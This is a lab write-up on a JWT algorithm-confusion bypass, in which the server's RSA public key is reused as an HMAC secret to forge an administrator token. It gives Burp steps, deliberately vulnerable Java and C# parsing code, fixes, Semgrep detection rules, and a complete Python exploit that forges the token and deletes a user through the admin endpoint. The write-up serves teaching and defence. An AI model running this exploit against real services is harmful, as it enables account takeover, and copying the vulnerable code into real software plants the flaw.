Lab 07: JWT authentication bypass via algorithm confusion
1. Executive Summary
Vulnerability: JWT Signature Bypass (Algorithm Confusion).
Description: The application expects a JWT signed with an asymmetric algorithm (RS256) and verifies it using a known public key. However, the JWT library does not enforce the expected algorithm. An attacker can change the token’s header to specify a symmetric algorithm (HS256). When the server processes this modified token, it inadvertently uses its own public key as the symmetric HMAC secret key. Since the public key is readily available to anyone, the attacker can use it to sign malicious tokens locally.
Impact: Full Account Takeover. The attacker can forge a valid signature for any user, including administrators, completely bypassing the authentication mechanism.
2. The Attack
Objective: Obtain the server’s public key, convert it to the format expected by the backend, and use it as an HMAC secret to sign a forged admin token.
- Reconnaissance (Key Extraction):
- I logged in as
wienerand captured the session JWT. - I accessed the standard endpoint
/jwks.jsonin the browser. The server exposed its public key in JSON Web Key (JWK) format. - I copied the JWK object from the
keysarray.
- I logged in as
- Generating the Malicious Symmetric Key:
- In Burp’s JWT Editor Keys tab, I created a New RSA Key and pasted the copied JWK.
- I exported this key by right-clicking and selecting Copy Public Key as PEM.
- Because the server’s JWT library will treat this PEM file as a raw string of bytes for the symmetric HMAC operation, I Base64-encoded the PEM string using the Decoder tab.
- I created a New Symmetric Key in the JWT Editor and replaced the
kproperty with my Base64-encoded PEM.
- Token Forgery and Exploitation:
- I sent the
GET /adminrequest to Repeater and switched to the JSON Web Token tab. - In the Header, I changed the
algparameter toHS256. - In the Payload, I changed the
subclaim toadministrator. - I clicked Sign, selected my newly created symmetric key (the Base64 PEM), and ensured Don’t modify header was checked so the
algremainedHS256. - I sent the request. The server loaded its public key, saw the
HS256header, and used the public key as the HMAC secret. My signature matched perfectly. - I successfully accessed the admin panel and executed the
/admin/delete?username=carlosendpoint.
- I sent the
3. Code Review
Vulnerability Analysis (Explanation):
The flaw is a realistic oversight where the developer passes the verification key to the parsing function but relies entirely on the token’s header to determine the cryptographic operation. The library assumes that if the developer provided a key, and the token says “HS256”, it should perform an HMAC operation using the provided key’s raw bytes.
Java (Spring Boot / JJWT)
1
2
3
4
5
6
7
8
9
public Claims parseToken(String token, PublicKey serverPublicKey) {
// REALISTIC OVERSIGHT: The developer provides the public key to the parser
// but forgets to enforce that the token MUST use an asymmetric algorithm (RS256).
return Jwts.parserBuilder()
.setSigningKey(serverPublicKey)
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
setSigningKey(serverPublicKey): The application registers the RSA public key for signature verification.- Missing Constraint: There is no
.requireAlgorithm()constraint. When the parser reads the attacker’s token, it extracts thealg: HS256header. - The Confusion: The JJWT library sees
HS256and switches to symmetric HMAC mode. It attempts to extract the raw bytes from theserverPublicKeyobject (often resulting in the X.509 PEM byte representation) and calculates the HMAC of the token using those bytes as the secret. Since the attacker did the exact same math locally, the validation succeeds.
C# (ASP.NET Core / Jose-JWT)
1
2
3
4
5
6
7
8
9
10
11
12
public string ValidateToken(string token, string publicKeyPem)
{
// REALISTIC OVERSIGHT: Using a generic decoding method without restricting the algorithm.
// The publicKeyPem is loaded from the filesystem or configuration.
var publicKeyBytes = Encoding.UTF8.GetBytes(publicKeyPem);
// The JWT library dynamically selects the algorithm based on the token header.
string payload = JWT.Decode(token, publicKeyBytes);
return payload;
}
Technical Flow & Syntax Explanation:
Encoding.UTF8.GetBytes(publicKeyPem): The public key is loaded as a byte array.JWT.Decode(token, publicKeyBytes): Thejose-jwtlibrary (and similar generic JWT libraries) reads thealgheader from the token. If the header specifiesHS256, the library uses thepublicKeyBytesarray as the symmetric secret for the HMAC SHA-256 operation. It completely ignores the fact that the developer intended for it to be used as an RSA public key.
Mock PR Comment
The JWT verification logic does not enforce a specific signing algorithm. This leaves the application vulnerable to algorithm confusion attacks, where an attacker can supply an HS256 token and force the server to use its own public key as an HMAC secret.
Recommendation: Hardcode or strictly enforce the expected algorithm (e.g., RS256) during token verification. Reject any tokens that specify a different algorithm in their header.
4. The Fix
Secure Java
1
2
3
4
5
6
7
8
9
public Claims parseToken(String token, PublicKey serverPublicKey) {
// SECURE: Explicitly enforcing the expected asymmetric algorithm
return Jwts.parserBuilder()
.setSigningKey(serverPublicKey)
.requireAlgorithm(SignatureAlgorithm.RS256) // The Gatekeeper
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
requireAlgorithm(SignatureAlgorithm.RS256): This method locks the parser to a specific cryptographic operation. If an attacker submits a token withalg: HS256, the parser will immediately throw anUnsupportedJwtExceptionbefore any cryptographic math is performed, completely mitigating the confusion attack.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
public string ValidateToken(string token, string publicKeyPem)
{
var publicKeyBytes = Encoding.UTF8.GetBytes(publicKeyPem);
// SECURE: Explicitly defining the allowed algorithm during decode
string payload = JWT.Decode(
token,
publicKeyBytes,
JwsAlgorithm.RS256 // Strict algorithm enforcement
);
return payload;
}
Technical Flow & Syntax Explanation:
JwsAlgorithm.RS256: By passing the expected algorithm as a strict argument to theDecodemethod, the library is forced to treat the key as an RSA key and perform an asymmetric verification. If the token header claimsHS256, the library will reject it due to the algorithm mismatch.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
import jwt
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
def exploit_algorithm_confusion(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
token = s.cookies.get('session')
if not token:
print("[-] No session cookie found.")
return
# 1. Fetch JWKS and extract public key
jwks_url = f"{url.rstrip('/')}/jwks.json"
print(f"[*] Fetching public key from {jwks_url}...")
jwks_resp = s.get(jwks_url)
jwk_data = jwks_resp.json()['keys'][0]
# 2. Reconstruct the RSA Public Key from the JWK
def decode_b64url(val):
padding = '=' * (4 - (len(val) % 4))
return base64.urlsafe_b64decode(val + padding)
e = int.from_bytes(decode_b64url(jwk_data['e']), 'big')
n = int.from_bytes(decode_b64url(jwk_data['n']), 'big')
pub_numbers = RSAPublicNumbers(e, n)
pub_key = pub_numbers.public_key(default_backend())
# 3. Serialize to PEM format
pem_bytes = pub_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print("[*] Public Key successfully converted to PEM.")
# 4. Forge the token
# We decode the original to keep timestamps/structure intact
payload_b64 = token.split('.')[1]
padding = '=' * (4 - (len(payload_b64) % 4))
payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
payload = json.loads(payload_str)
# Modify claims
payload['sub'] = 'administrator'
headers = {
"alg": "HS256",
"typ": "JWT"
}
print("[*] Signing token with HS256 using the public key PEM as the HMAC secret...")
# In algorithm confusion, the exact PEM string is used as the symmetric secret
forged_token = jwt.encode(payload, pem_bytes, algorithm="HS256", headers=headers)
# 5. Attack
print(f"[*] Sending forged token to /admin...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_algorithm_confusion(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: java-jwt-missing-algorithm-enforcement
languages: [java]
message: |
JWT parser does not explicitly enforce a cryptographic algorithm.
This exposes the application to algorithm confusion attacks (e.g., RS256 to HS256).
Always use requireAlgorithm() to lock the parser to the expected algorithm.
severity: ERROR
patterns:
- pattern-inside: |
Jwts.parserBuilder(). ... .build().parseClaimsJws(...)
- pattern-not-inside: |
Jwts.parserBuilder(). ... .requireAlgorithm(...). ... .build()
Technical Flow & Syntax Explanation:
Jwts.parserBuilder(). ... .parseClaimsJws(...): This pattern captures the standard initialization and execution chain of the JJWT library parser.pattern-not-inside: This acts as an exclusionary filter. If the parser chain includes the.requireAlgorithm(...)method call, the code is considered secure and the rule ignores it. If it is missing, the code relies entirely on the client-provided header and is flagged as vulnerable.
C# Rule
1
2
3
4
5
6
7
8
9
10
rules:
- id: csharp-jwt-missing-algorithm-enforcement
languages: [csharp]
message: |
JWT decoding method called without specifying an expected algorithm.
This allows an attacker to dictate the signature algorithm via the token header.
severity: ERROR
patterns:
- pattern: JWT.Decode($TOKEN, $KEY)
- pattern-not: JWT.Decode($TOKEN, $KEY, $ALGORITHM)
Technical Flow & Syntax Explanation:
JWT.Decode($TOKEN, $KEY): Targets the two-argument signature of generic decoding methods (like those found injose-jwt) which implicitly trust thealgheader of the incoming token.pattern-not: Prevents the rule from firing if the developer uses the three-argument overload that strictly enforces the$ALGORITHM(e.g.,JwsAlgorithm.RS256), which is the recommended secure implementation.
